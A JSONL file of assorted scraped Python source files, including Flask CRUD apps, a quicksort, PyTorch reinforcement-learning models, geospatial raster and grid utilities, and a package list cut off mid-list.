+{"seq_id":"31008909","text":"\"\"\"Shared constants for validation\"\"\"\n\nfrom pydantic import BaseModel\n\n\nclass MinMax(BaseModel):\n    minimum: float\n    maximum: float\n\n    def contains(self, x: float) -> bool:\n        return x > self.minimum and x < self.maximum\n\n\nclass BoundingBox(BaseModel):\n    latitude: MinMax\n    longitude: MinMax\n\n\nBOUNDING_BOX = BoundingBox(\n    latitude=MinMax(\n        minimum=-14.549,\n        maximum=71.367,\n    ),\n    longitude=MinMax(\n        minimum=-179.779,\n        maximum=0.0,\n    ),\n)\n","sub_path":"vaccine_feed_ingest/utils/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"44712850","text":"from typing import Iterator, List, Set, Tuple\n\nfrom parallelpipe import Stage, stage\n\nfrom gfw_pixetl import get_module_logger\nfrom gfw_pixetl.layers import RasterSrcLayer\nfrom gfw_pixetl.pipes import Pipe\nfrom gfw_pixetl.settings.globals import GLOBALS\nfrom gfw_pixetl.tiles import RasterSrcTile, Tile\n\nLOGGER = get_module_logger(__name__)\n\n\nclass RasterPipe(Pipe):\n    def get_grid_tiles(self) -> Set[RasterSrcTile]:  # type: ignore\n        \"\"\"Seed all available tiles within given grid.\n\n        Use 1x1 degree tiles covering all land area as starting point.\n        Then see in which target grid cell it would fall. Remove\n        duplicated grid cells.\n        \"\"\"\n\n        tiles: Set[RasterSrcTile] = set()\n        for tile_id in self.grid.get_tile_ids():\n            tiles.add(self._get_grid_tile(tile_id))\n\n        # tile_ids = self.grid.get_tile_ids()\n        #\n        # with get_context(\"spawn\").Pool(processes=GLOBALS.num_processes) as pool:\n        #     tiles: Set[RasterSrcTile] = set(pool.map(self._get_grid_tile, tile_ids))\n\n        tile_count: int = len(tiles)\n        LOGGER.info(f\"Found {tile_count} tile(s) inside grid\")\n\n        return tiles\n\n    def _get_grid_tile(self, tile_id: str) -> RasterSrcTile:\n        assert isinstance(self.layer, RasterSrcLayer)\n        return RasterSrcTile(tile_id=tile_id, grid=self.grid, layer=self.layer)\n\n    def create_tiles(\n        self, overwrite: bool\n    ) -> Tuple[List[Tile], List[Tile], List[Tile], List[Tile]]:\n        \"\"\"Raster Pipe.\"\"\"\n\n        LOGGER.info(\"Start Raster Pipe\")\n\n        tiles = self.collect_tiles(overwrite=overwrite)\n\n        GLOBALS.workers = max(self.tiles_to_process, 1)\n\n        pipe = (\n            tiles\n            | Stage(self.transform).setup(workers=GLOBALS.workers)\n            | self.upload_file\n            | self.delete_work_dir\n        )\n\n        tiles, skipped_tiles, failed_tiles, existing_tiles = self._process_pipe(pipe)\n\n        LOGGER.info(\"Finished Raster Pipe\")\n        return tiles, skipped_tiles, failed_tiles, existing_tiles\n\n    @staticmethod\n    @stage(workers=GLOBALS.num_processes)\n    def filter_src_tiles(tiles: Iterator[RasterSrcTile]) -> Iterator[RasterSrcTile]:\n        \"\"\"Only process tiles which intersect with source raster.\"\"\"\n        for tile in tiles:\n            if tile.status == \"pending\" and not tile.within():\n                LOGGER.info(\n                    f\"Tile {tile.tile_id} does not intersect with source raster - skip\"\n                )\n                tile.status = \"skipped (does not intersect)\"\n            yield tile\n\n    # We cannot use the @stage decorate here\n    # but need to create a Stage instance directly in the pipe.\n    # When using the decorator, number of workers get set during RasterPipe class instantiation\n    # and cannot be changed afterwards anymore. The Stage class gives us more flexibility.\n    @staticmethod\n    def transform(tiles: Iterator[RasterSrcTile]) -> Iterator[RasterSrcTile]:\n        \"\"\"Transform input raster to match new tile grid and projection.\"\"\"\n        for tile in tiles:\n            if tile.status == \"pending\" and not tile.transform():\n                tile.status = \"skipped (has no data)\"\n                LOGGER.info(f\"Tile {tile.tile_id} has no data - skip\")\n            yield tile\n","sub_path":"gfw_pixetl/pipes/raster_pipe.py","file_name":"raster_pipe.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"210353200","text":"\"\"\"\n    原地快排\n\"\"\"\n\ndef quicksort(lst, left, right):\n    if left >= right:\n        return\n    slower=faster=left   # 定义两个快慢指针\n    privot=lst[right]    # 中值为右端点的值，将比privot小的都移至privot左边\n    while faster < right:\n        if lst[faster] < privot:\n            lst[faster], lst[slower] = lst[slower], lst[faster]\n            slower+=1\n        faster+=1\n    # 循环结束后，slower停在了中值位置，此时应该把privot移至中值位置\n    lst[faster], lst[slower] = lst[slower], privot\n    # 对privot左右分别排序\n    quicksort(lst, left, slower-1)\n    quicksort(lst, slower+1, right)\n\n\n\ns = [10, 2,3,1,5,8,9, 10, 13, 10, 10]\nquicksort(s, 0, len(s)-1)\n\nprint(s)\n","sub_path":"算法/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"98103317","text":"from flask import Flask, jsonify, request, abort\r\nfrom poemsDAO import poemsDAO\r\n\r\napp = Flask(__name__, static_url_path='', static_folder='.')\r\n\r\n#curl \"http://127.0.0.1:5000/poems\"\r\n@app.route('/poems')\r\ndef getAll():\r\n    #print(\"in getall\")\r\n    results = poemsDAO.getAll()\r\n    return jsonify(results)\r\n\r\n#curl \"http://127.0.0.1:5000/poems/2\"\r\n@app.route('/poems/<int:id>')\r\ndef findById(id):\r\n    foundpoems = poemsDAO.findByID(id)\r\n\r\n    return jsonify(foundpoems)\r\n\r\n#curl  -i -H \"Content-Type:application/json\" -X POST -d \"{\\\"Title\\\":\\\"hello\\\",\\\"Author\\\":\\\"someone\\\",\\\"Price\\\":123}\" http://127.0.0.1:5000/poems\r\n@app.route('/poems', methods=['POST'])\r\ndef create():\r\n    \r\n    if not request.json:\r\n        abort(400)\r\n    # other checking \r\n    poems = {\r\n        \"Title\": request.json['Title'],\r\n        \"Author\": request.json['Author'],\r\n        \"Price\": request.json['Price'],\r\n    }\r\n    values =(poems['Title'],poems['Author'],poems['Price'])\r\n    newId = poemsDAO.create(values)\r\n    poems['id'] = newId\r\n    return jsonify(poems)\r\n\r\n#curl  -i -H \"Content-Type:application/json\" -X PUT -d \"{\\\"Title\\\":\\\"hello\\\",\\\"Author\\\":\\\"someone\\\",\\\"Price\\\":123}\" http://127.0.0.1:5000/poems/1\r\n@app.route('/poems/<int:id>', methods=['PUT'])\r\ndef update(id):\r\n    foundpoems = poemsDAO.findByID(id)\r\n    if not foundpoems:\r\n        abort(404)\r\n    \r\n    if not request.json:\r\n        abort(400)\r\n    reqJson = request.json\r\n    if 'Price' in reqJson and type(reqJson['Price']) is not int:\r\n        abort(400)\r\n\r\n    if 'Title' in reqJson:\r\n        foundpoems['Title'] = reqJson['Title']\r\n    if 'Author' in reqJson:\r\n        foundpoems['Author'] = reqJson['Author']\r\n    if 'Price' in reqJson:\r\n        foundpoems['Price'] = reqJson['Price']\r\n    values = (foundpoems['Title'],foundpoems['Author'],foundpoems['Price'],foundpoems['id'])\r\n    poemsDAO.update(values)\r\n    return jsonify(foundpoems)\r\n        \r\n\r\n    \r\n\r\n@app.route('/poems/<int:id>' , methods=['DELETE'])\r\ndef delete(id):\r\n    poemsDAO.delete(id)\r\n    return jsonify({\"done\":True})\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__' :\r\n    app.run(debug= True)","sub_path":"Project/serverPoems.py","file_name":"serverPoems.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"650209416","text":"import sys\n\nsys.stdin = open(\"input.txt\", \"r\")\n\nsys.setrecursionlimit(5000)\n\nN = int(sys.stdin.readline().rstrip())\n\nline = dict()\n\nfor j in range(N):\n    a,b = tuple(map(int,sys.stdin.readline().rstrip().split()))\n    try:\n        line[a].append(b)\n    except:\n        line[a] = [b]\n    try:\n        line[b].append(a)\n    except:\n        line[b] = [a]\n\nvisit = [0 for i in range(N+1)]\n\nans = 0\npoint = 0\nchange = 0\n\ndef dfs(start,current,prev,visit):\n    global ans,point,change\n    next_line = line[current]\n    for next in next_line:\n        if next != prev:\n            if visit[next] == -1 and next == start:\n                ans = 1\n                return\n            elif visit[next] == -1 and next != start:\n                ans = 2\n                point = next\n                return\n            visit[next] = -1\n            dfs(start,next,current,visit)\n            if ans == 1:\n                return\n            elif ans == 2 and current == point and change == 0:\n                change = 1\n                return\n            elif ans == 2 and current != point and change == 0:\n                return\n            elif change == 1:\n                visit[current] = 0\n                return\n            visit[next] = 0\n\nvisit[1] = -1\ndfs(1,1,0,visit)\n\ndef dfs2(n,prev):\n    if visit[n] !=0 and visit[n] != -1:\n        return visit[n]\n\n    next_line = line[n]\n    min_ans = []\n    if len(next_line) == 1 and next_line[0] == prev:\n        return -5\n    for next in next_line:\n        if next != prev:\n            if visit[next] == -1:\n                min_ans.append(1)\n            elif visit[next] != 0:\n                min_ans.append(visit[next] + 1)\n            else:\n                ans = dfs2(next,n)\n                if ans != -5:\n                    min_ans.append(ans+1)\n    visit[n] = min(min_ans)\n    return visit[n]\n\none_next = line[1]\n\none_count = 0\nfor o_n in one_next:\n    if visit[o_n] == -1:\n        one_count +=1\nif one_count < 2:\n    visit[1] = 0\n\nfor n in range(1,N+1):\n    if len(line[n]) == 1:\n        dfs2(n,0)\n\nfor i in range(1,N+1):\n    if visit[i] == -1:\n        if i !=N:\n            print(0,end=' ')\n        else:\n            print(0)\n    else:\n        if i!=N:\n            print(visit[i],end=' ')\n        else:\n            print(visit[i])","sub_path":"서울 지하철 2호선!.py","file_name":"서울 지하철 2호선!.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"323727875","text":"\"\"\"A simple crud app to facilitate borrowing digital items\n  (books, movies, music and possibly others between several users\"\"\"\nimport os\nimport warnings\n\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'data.sqlite')\napp.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True\ndb = SQLAlchemy(app)\n\n\nclass Item(db.Model):\n    # This class has all entries for the items table\n    # An item can be more than once, if more users have made it\n    # available\n\n    __tablename__ = 'items'\n    # The primary key of the table\n    id = db.Column(db.Integer, primary_key=True)\n\n    # The title of the item (book title, CD/record title, movie title)\n    title = db.Column(db.String(64))\n\n    # The description of the item (track listing for music, plot synopsis for\n    #                              movie or book)\n    description = db.Column(db.Text(64))\n\n    # Whether the item is available or not (Probably don't need that.\n    # If the borrower_id not None, then it is available)\n    # available = db.Column(db.Boolean)\n\n    # The category of the item ('movie', 'music', 'book')\n    category = db.Column(db.String(64))\n\n    # The author, artist/ band or director id\n    artist_id = db.Column(db.Integer, db.ForeignKey('artists.id'))\n\n    # An object oriented view of the relationship between\n    # an item and the user who owns it.\n    # E.g. Given an instance of class Item, the owner\n    # attribute gives its owner\n    owns = db.relationship('Own', backref='owner', uselist=False)\n\n    # An object oriented view of the relationship between\n    # an item and the user who's borrowed it.\n    # E.g. Given an instance of class Item, the lender\n    # attribute gives its lender\n    borrows = db.relationship('Borrow', backref='lender', uselist=False)\n\n    def __repr__(self):\n        return f'<{self.title}>'\n\n\nclass Artist(db.Model):\n    # This class has all the entries for the artists table\n    __tablename__ = 'artists'\n\n    # The id of the artist\n    id = db.Column(db.Integer, primary_key=True)\n\n    # The first name of the artist\n    first_name = db.Column(db.String(64))\n\n    # The last name of the artist\n    last_name = db.Column(db.String(64))\n\n\n    # An object oriented view of the relationship between\n    # an item and the artist who created it.\n    # E.g. Given an instance of class Artist, the items\n    # attribute gives the list of items associated with it.\n    items = db.relationship('Item', backref='artist', lazy=\"dynamic\")\n\n    def __repr__(self):\n        return f'<{self.first_name} {self.last_name}>'\n\n\nclass Own(db.Model):\n    # This class has all the entries for the users table\n    __tablename__ = 'owns'\n\n    # The primary key of the table\n    id = db.Column(db.Integer, primary_key=True)\n\n    # The name of the user that owns the item\n    user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n\n    # The datetime when the item was registered by the user\n    # datetime = db.Column(db.DateTime)\n\n    # The id of the item being registered as available\n    item_id = db.Column(db.String(64), db.ForeignKey('items.id'))\n\n    def __repr__(self):\n        return f'User with id {self.user_id} registered item with id {self.item_id}'\n\n\nclass Borrow(db.Model):\n    # This class has all the entries for the borrowers table\n    __tablename__ = 'borrows'\n\n    # The primary key of the table\n    id = db.Column(db.Integer, primary_key=True)\n\n    # The name of the user that owns the item\n    user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n\n    # The datetime when the item was borrowed by the user\n    # datetime = db.Column(db.DateTime)\n\n    # The id of the item being borrowed\n    item_id = db.Column(db.String(64), db.ForeignKey('items.id'))\n\n    def __repr__(self):\n        return f'User with id {self.user_id} borrowed item with id {self.item_id}'\n\n\nclass User(db.Model):\n    # This class has all the entries for the users\n    __tablename__ = 'users'\n\n    # The primary key of the table\n    id = db.Column(db.Integer, primary_key=True)\n\n    # The username with which the user is registering\n    username = db.Column(db.String(64), unique=True)\n\n    # The user's first name\n    first_name = db.Column(db.String(64))\n\n    # The user's last name\n    last_name = db.Column(db.String(64))\n\n    # An object oriented view of the relationship between\n    # a user and the items he owns.\n    # E.g. Given an instance of class User, the owns\n    # attribute gives the list of items it owns.\n    owns = db.relationship('Own', backref='user')\n\n    # An object oriented view of the relationship between\n    # a user and the items he owns.\n    # E.g. Given an instance of class User, the owns\n    # attribute gives the list of items it's borrowed.\n    borrows = db.relationship('Borrow', backref='user')\n\n    def __repr__(self):\n        return f'{self.username}'\n\n\nwith __name__ == '__main__':\n    # Example on how to create the several entries in the db\n\n    # Create a user\n    mia_maja = User(username=\"Mia_M\",\n                    first_name=\"Mia Maja\",\n                    last_name=\"Holst Manstrup\")\n\n    # Create an item\n    everyman = Item(title=\"Everyman\",\n                    description=\"The book begins at the funeral of \"\n                                \"its protagonist. The remainder of the \"\n                                \"book, which ends with his death, looks \"\n                                \"mournfully back on episodes from his life, \"\n                                \"including his childhood, where he and his\"\n                                \" older brother, Howie, worked in his father's\"\n                                \" shop, Everyman's Jewelry Store. He has been \"\n                                \"married three times, with two sons from his \"\n                                \"first marriage who resent him for leaving their \"\n                                \"mother, and one daughter from his second marriage \"\n                                \"who treats him with kindness and compassion, though \"\n                                \"he divorced her mother after beginning an affair \"\n                                \"with a 24-year-old Danish model, who subsequently \"\n                                \"became his third wife. Having divorced her as well, \"\n                                \"he has moved in his old age to a retirement community\"\n                                \" at the New Jersey shore, where he lives alone and \"\n                                \"attempts to paint, having passed up a career as an \"\n                                \"artist early in his life to work in advertising in \"\n                                \"order to support himself and his family. The book \"\n                                \"traces the protagonist's feelings as he gets \"\n                                \"increasingly old and sick, and his reflections of \"\n                                \"his own past, which has included his share of misdeeds \"\n                                \"and mistakes, as he ponders his impending death.\")\n\n    # Create an artist\n    philip_roth = Artist(first_name=\"Philip\", last_name=\"Roth\")\n\n    # Assign the artist to the item\n    everyman.artist = philip_roth\n\n    # Assign a category to the item\n    everyman.category = \"book\"\n\n    # Assign an owner to the item\n    everyman.owner = mia_maja\n\n    # Create another user\n    nikos_n = User(username=\"Nikos_N\",\n                   first_name=\"Nikos\",\n                   last_name=\"Nezeritis\")\n\n    # Create another item\n    white_nights = Item(title=\"White Nights\",\n                        description=\"The narrator describes his experience \"\n                                    \"walking in the streets of St. Petersburg. \"\n                                    \"He loves the city at night, and feels \"\n                                    \"comfortable in it. He no longer feels \"\n                                    \"comfortable during the day because all \"\n                                    \"the people he is used to seeing are not there. \"\n                                    \"He drew his emotions from them: if they were \"\n                                    \"happy, he was happy; if they were despondent, \"\n                                    \"he was despondent. New faces made him feel alone. \"\n                                    \"As he walked, the houses would talk to him and tell \"\n                                    \"him how they were being renovated or painted a new color \"\n                                    \"or being torn down.\")\n    # Create its artist\n    fyodor_dostoevsky = Artist(first_name=\"Fyodor\", last_name=\"Dostoevsky\")\n\n    # Assign the artist to the item\n    white_nights.artist = fyodor_dostoevsky\n\n    # Assign a category to the item\n    white_nights.category = \"book\"\n\n    # Assign an owner to the item\n    white_nights.owner = nikos_n\n\n    # One user borrows something from the other\n    nikos_n.borrows = everyman\n\n    # Add owner, artist and item to the db\n    db.session.add_all([mia_maja, nikos_n, philip_roth, everyman])\n\n    # Commit the db\n    db.session.commit()\n\n    # Query to see if every item, user and artist have the expected entries\n\n\n\n\n\n\n\n\n#class UserAction:\n    \"\"\"\n    A class that reads a User, an Action and an Item object\n    and implements either a give, a return or a take action\n    TODO: Re-write this as a function maybe\n    \"\"\"\n    #   def __init__(self,\n    #            User: User,\n    #            Action: Action,\n    #            Item: Item,\n    #            type_of_action: str):\n    #   self.User = User\n    #   self.Action = Action\n    #   self.Item = Item\n    #   self.type_of_action = type_of_action\n\n    #def act(self):\n    #   Action.action = self.type_of_action\n    #   Action.user_id = User.id\n    #   Action.item_id = Item.id\n\n    #   if self.type_of_action not in [\"give\", \"borrow\", \"return\"]:\n    #       raise ValueError(\"This action is not available\")\n    #   elif self.type_of_action == \"give\":\n            # If the user wants to give this item, they should be added in\n            # the item's owner_id entry\n    #       Item.owner_id = Action.user_id\n    #   elif self.type_of_action == \"borrow\":\n            # If the user wants to borrow this item, they should be added in\n            # the item's owner_id entry\n    #       if Item.owner_id == Action.user_id:\n    #           warnings.warn(\"You own this item already\")\n    #       else:\n    #           if Item.available:\n    #               Item.borrower_id = Action.user_id\n    #           else:\n    #               warnings.warn(\"This item is not available\")\n\n\n\n# A user cannot borrow more items of a certain category\n# than the closest number to half the items of this category they have\n# made available. If they attempt to do so, a warning should be issued\n# and the action shouldn't be allowed\n\n# We want to have a page with a log of all the actions that users did, with the respective\n# timesteps\n\n# We want to have separate pages for books, records, movies\n# For each item, the user can browse and see a picture of it and its synopsis\n\n# For the future: If a user keeps an item longer than they should, an email should be\n# sent to them.\n\n# Users should register using an html form\n\n# For the future: A user should also have the right to withdraw an item\n# If an item gets withdrawn, the whole row gets removed.\n# If it was borrowed and it gets returned, the borrower_id becomes None\n\n\n# In order for someone to become a borrower, they should first have\n# provided some item. So, we have to make sure that when a user wants to\n# borrow something, they are already owners of something else\n","sub_path":"item_borrowing.py","file_name":"item_borrowing.py","file_ext":"py","file_size_in_byte":11712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"477455415","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom configs import *\nfrom lib import dqn_model, common\n\n\nclass BaseModel(nn.Module):\n    def __init__(self, input_dim, output_dim):\n        super(BaseModel, self).__init__()\n        self.linear1 = nn.Linear(input_dim, 20)\n        self.relu = nn.ReLU()\n        self.linear2 = nn.Linear(20, output_dim)\n\n    def forward(self, ob):\n        x = self.relu(self.linear1(ob))\n        return self.linear2(x)\n\nclass Base_QR_DQN_Model(nn.Module):\n    def __init__(self, input_dim, output_dim, n_quant):\n        super(Base_QR_DQN_Model, self).__init__()\n        self.n_quant = n_quant\n        self.n_action = output_dim\n        self.linear1 = nn.Linear(input_dim, 64)\n        self.linear2 = nn.Linear(64, 32)\n        self.relu = nn.ReLU()\n        self.linear3 = nn.Linear(32, output_dim * n_quant)\n\n    def forward(self, ob):\n        x = self.relu(self.linear1(ob))\n        x=  torch.tanh(self.linear2(x))\n        return self.linear3(x).view(-1, self.n_action, self.n_quant)\n\nclass Noisy_QR_DQN_Model(nn.Module):\n    def __init__(self, input_dim, output_dim, n_quant):\n        super(Noisy_QR_DQN_Model, self).__init__()\n        self.n_quant = n_quant\n        self.n_action = output_dim\n        self.linear1 = dqn_model.NoisyLinear(input_dim, 64)\n        self.linear2 = dqn_model.NoisyLinear(64, 32)\n        self.relu = nn.ReLU()\n        self.linear3 = dqn_model.NoisyLinear(32, output_dim * n_quant)\n\n    def forward(self, ob):\n        x = self.relu(self.linear1(ob))\n        x=  torch.tanh(self.linear2(x))\n        return self.linear3(x).view(-1, self.n_action, self.n_quant)\n\n\n\nclass RainbowDQN(nn.Module):\n    def __init__(self, input_dim, output_dim):\n        super(RainbowDQN, self).__init__()\n        self.fc_val = nn.Sequential(\n            dqn_model.NoisyLinear(input_dim, 256),\n            nn.ReLU(),\n            dqn_model.NoisyLinear(256, N_ATOMS)\n        )\n        self.fc_adv = nn.Sequential(\n            dqn_model.NoisyLinear(input_dim, 256),\n            nn.ReLU(),\n            dqn_model.NoisyLinear(256, output_dim * N_ATOMS)\n        )\n        self.register_buffer(\"supports\", torch.arange(Vmin, Vmax + DELTA_Z, DELTA_Z))\n        self.softmax = nn.Softmax(dim=1)\n\n    def forward(self, x):\n        batch_size = x.size()[0]\n        val_out = self.fc_val(x).view(batch_size, 1, N_ATOMS)\n        adv_out = self.fc_adv(x).view(batch_size, -1, N_ATOMS)\n        adv_mean = adv_out.mean(dim=1, keepdim=True)\n        return val_out + (adv_out - adv_mean)\n\n    def both(self, x):\n        cat_out = self(x)\n        probs = self.apply_softmax(cat_out)\n        weights = probs * self.supports\n        res = weights.sum(dim=2)\n        return cat_out, res\n\n    def qvals(self, x):\n        return self.both(x)[1]\n\n    def apply_softmax(self, t):\n        return self.softmax(t.view(-1, N_ATOMS)).view(t.size())\n\n\nclass FRAPModel(nn.Module):\n    def __init__(self, relations):\n        super(FRAPModel, self).__init__()\n        self.demand_embedding = nn.Linear(2, 4)\n        self.conv2d1 = nn.Conv2d(in_channels=8, out_channels=20, kernel_size=(1,1),stride=(1,1))\n        self.relations = torch.tensor(relations)  # (1, 8, 7)\n        self.relation_embedding = nn.Embedding(2, 4)\n        self.relation_conv2d = nn.Conv2d(in_channels=4, out_channels=20, kernel_size=(1,1), stride=(1,1))\n        self.conv2d2 = nn.Conv2d(in_channels=20, out_channels=20, kernel_size=(1,1), stride=(1,1))\n        self.conv2d3 = nn.Conv2d(in_channels=20, out_channels=1, kernel_size=(1,1), stride=(1,1))\n\n    def forward(self, ob):\n        '''\n        :param ob: [bsz, 8, 2]\n        :return: distribution of actions\n        '''\n        bsz = ob.shape[0]\n        demands = self.demand_embedding(ob.reshape(-1, 2)).reshape(bsz, 8, 4)\n        # demand: [bsz, 8, 4]\n        pair_representation = torch.zeros([bsz, 8, 7, 8])\n        for i, demand in enumerate(demands):\n            # demand: [8, 4]\n            for s in range(8):\n                count = 0\n                for k in range(8):\n                    if k == s: continue\n                    pair_representation[i][s][count] = torch.cat([demand[s], demand[k]])\n                    count += 1\n\n        # pair_representation: (bsz, 8, 7, 8) -> (bsz, 8, 8, 7) --> x: (bsz, 20, 8, 7)\n        x = self.conv2d1(pair_representation.permute(0, 3, 1, 2))\n\n        # Phase competition mask\n        phase_cometition_mask = self.relation_embedding(self.relations).permute(0, 3, 1, 2) # (1, 4, 8, 7)\n        phase_cometition_mask = self.relation_conv2d(phase_cometition_mask) # (1, 20, 8, 7)\n\n        x = x * phase_cometition_mask # (bsz, 20, 8, 7)\n        x = self.conv2d2(x)\n        x = self.conv2d3(x) # (bsz, 1, 8, 7)\n        x = x.squeeze() # (bsz, 8, 7)\n        x = torch.sum(x, dim=-1)\n        return x\n\n\nclass CoLightModel(nn.Module):\n    def __init__(self, input_dim, output_dim, agent_list=None):\n        super(CoLightModel, self).__init__()\n        self.observation_proj = nn.Linear(input_dim, 32)\n        self.obs_inner_agent_proj = nn.Linear(32, 16)\n        self.obs_outer_agent_proj = nn.Linear(32, 16)\n        self.cooperation_proj = nn.Linear(16, 16)\n        self.final_proj = nn.Linear(16, output_dim)\n\n    def forward(self, obs):\n        '''\n        :param obs:\n        \"ob_embedding\": embedding for current intersection observation, torch.tensor\n        \"lane_vehicle_num\": no need to explain\n        \"lane_vehicle_speed\": no need to explain\n        \"adjacency\": the ob_embedding of adjacency intersections, torch.tensor\n        :return: action\n        '''\n\n        print(\"obs:\", obs)\n\n        inner_ob_embedding = self.obs_inner_agent_proj(obs['ob_embedding'])\n\n        interaction_scores = []\n\n        for adj_ob_embedding in obs['adjacency']:\n            interaction_score = torch.dot(inner_ob_embedding.reshape(-1), self.obs_outer_agent_proj(adj_ob_embedding).reshape(-1))\n            interaction_scores.append(interaction_score)\n        interaction_scores = torch.stack(interaction_scores)\n        interaction_scores = F.softmax(interaction_scores, dim=0)\n\n        adj_ob_embeddings = torch.stack(obs['adjacency'])\n        cooperation_adj = torch.sum(self.cooperation_proj(adj_ob_embeddings) * interaction_scores.unsqueeze(1), dim=0)\n        self.final_proj(cooperation_adj.unsqueeze(0))\n\n\n","sub_path":"agent_rainbow/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"364071706","text":"# https://leetcode-cn.com/problems/rotate-image/\r\n# 实现顺时针90度的旋转效果:\r\n# Flip: 沿水平中线上下翻转（-180° + 一次镜像）\r\n# Transpose: 沿右上 - 左下的对角线翻转（270° + 一次镜像）\r\n\r\n\r\nclass Solution(object):\r\n    def rotate(self, matrix):\r\n        if len(matrix) == 0:\r\n            return\r\n\r\n        h = w = len(matrix)  # h是纵列\r\n        # 沿中轴线翻转\r\n        for i in range(0, h):\r\n            for j in range(int(w / 2)):  # 3*3数组：int(w/2)=1，相当只进行了j=0这一组\r\n                # print(matrix[i][j], matrix[i][w-j-1])  # w = 3, j in ranger(2), w-j-1 = 1 and 2\r\n                matrix[i][j], matrix[i][w - j - 1] = matrix[i][w - j -\r\n                                                               1], matrix[i][j]\r\n\r\n        # 沿左下-右上的对角线翻转\r\n        for i in range(h):\r\n            for j in range(w - 1 - i):\r\n                print(matrix[i][j], matrix[w - 1 - j][h - 1 - i], 'w-1-i =',\r\n                      w - 1 - i)\r\n                matrix[i][j], matrix[w - 1 - j][h - 1 -\r\n                                                i] = matrix[w - 1 -\r\n                                                            j][h - 1 -\r\n                                                               i], matrix[i][j]\r\n\r\n\r\nmatrix = [\r\n    [1, 2, 3],\r\n    [4, 5, 6],\r\n    [7, 8, 9],\r\n]\r\n\r\n# step1\r\n# [3, 2, 1]\r\n# [6, 5, 4]\r\n# [9, 8, 7]\r\n\r\n# step2\r\n# 3 7 w-1-i = 2\r\n# 2 4 w-1-i = 2\r\n# 6 8 w-1-i = 1\r\n\r\n# out\r\n# [7, 4, 1]\r\n# [8, 5, 2]\r\n# [9, 6, 3]\r\n\r\nSolution().rotate(matrix)\r\n","sub_path":"048-1-Rotate Image.py","file_name":"048-1-Rotate Image.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"167445670","text":"# module load_grid\nimport netCDF4 as nc\n\nimport numpy as np\n#from scipy.interpolate.fitpack2 import  SmoothBivariateSpline\n\n__version__ = '0.1'\n\ndef load_grid(files):\n\t'''\nload_grid returns a dictionary of netCDF4 variables. The actual extraction of the data in them from\nthe netCDF file must be done by the user, hopefully at the last minute, so as to reduce the amount\nof wasted memory.\n\t'''\n\tif files.__class__ == str:\n\t\tf = files\n\telif files.__class__ == list:\n\t\tf = files[0]\n\telse:\n\t\traise TypeError('wrong type sent to load_grid')\n\t\treturn False\n\t\n\tncf = nc.Dataset(f,mode='r')\n\t\n\tG = {}\n\tG['ncfile'] = ncf\n\tG['lon'] = ncf.variables['lon_rho']\n\tG['lat'] = ncf.variables['lat_rho']\n\tG['lonu'] = ncf.variables['lon_u']\n\tG['latu'] = ncf.variables['lat_u']\n\tG['lonv'] = ncf.variables['lon_v']\n\tG['latv'] = ncf.variables['lat_v']\n\tG['cs'] = ncf.variables['Cs_r']\n\tG['csw'] = ncf.variables['Cs_w']\n\t\n\tG['mask'] = ncf.variables['mask_rho']\n\tG['masku'] = ncf.variables['mask_u']\n\tG['maskv'] = ncf.variables['mask_v']\n\t\n\tG['H'] = ncf.variables['h']\n#\tG['Hu'] = griddata(G['lat'].reshape(G['lat'].size),G['lon'].reshape(G['lon'].size),G['H'].reshape(G['H'].size),G['latu'],G['lonu'])\n#\tG['Hv'] = griddata(G['lat'].reshape(G['lat'].size),G['lon'].reshape(G['lon'].size),G['H'].reshape(G['H'].size),G['latv'],G['lonv'])\n\treturn G\n","sub_path":"ROMS/pmacc/tools/post_tools/rompy/tags/rompy-0.1/rompy/load_grid.py","file_name":"load_grid.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"210146268","text":"from __future__ import print_function\nimport os\nimport sys\nfrom subprocess import Popen, PIPE\nfrom classes import run, clear\nfrom collections import Iterable\n\n# Packages to install\nsys_packages = [\n    \"nginx\",\n    \"postgresql\",\n    \"postgresql-server-dev-all\",\n    \"python-pip\",\n    \"python-virtualenv\",\n    \"python3.3-dev\",\n    \"sphinxsearch\"           # Search engine\n    \"uwsgi\",\n    \"uwsgi-plugin-python3\",\n]\npip_pkgs = [\n    \"South\",                 # Migrations\n    \"beautifulsoup4\",        # Html\n    \"django\",\n    \"fabric\",                # Quick deployment\n    \"nose\",                  # Tests\n    \"pillow\",                # PIL (image manipulation)\n    \"psycopg2\",              # Postgres binding\n    \"python3-memcached\",     # Memcache\n    \"pytz\",                  # Time zones\n    \"requests\",              # GET/POST\n    \"uwsgi\",                 # Backend server\n    \"django-nose\",           # nose tests\n    \"django-hstore\",         # PostgreSQL hstore field type\n    \"six\",                   # Python 2/3\n    \"tl\",\n    \"tl.rename\",             # string manipulation\n    \"ply\",                   # to create compilers / parsers\n    \"tornado\",               # async servers\n    #\"bencode\",               # Used in .torrent file format\n    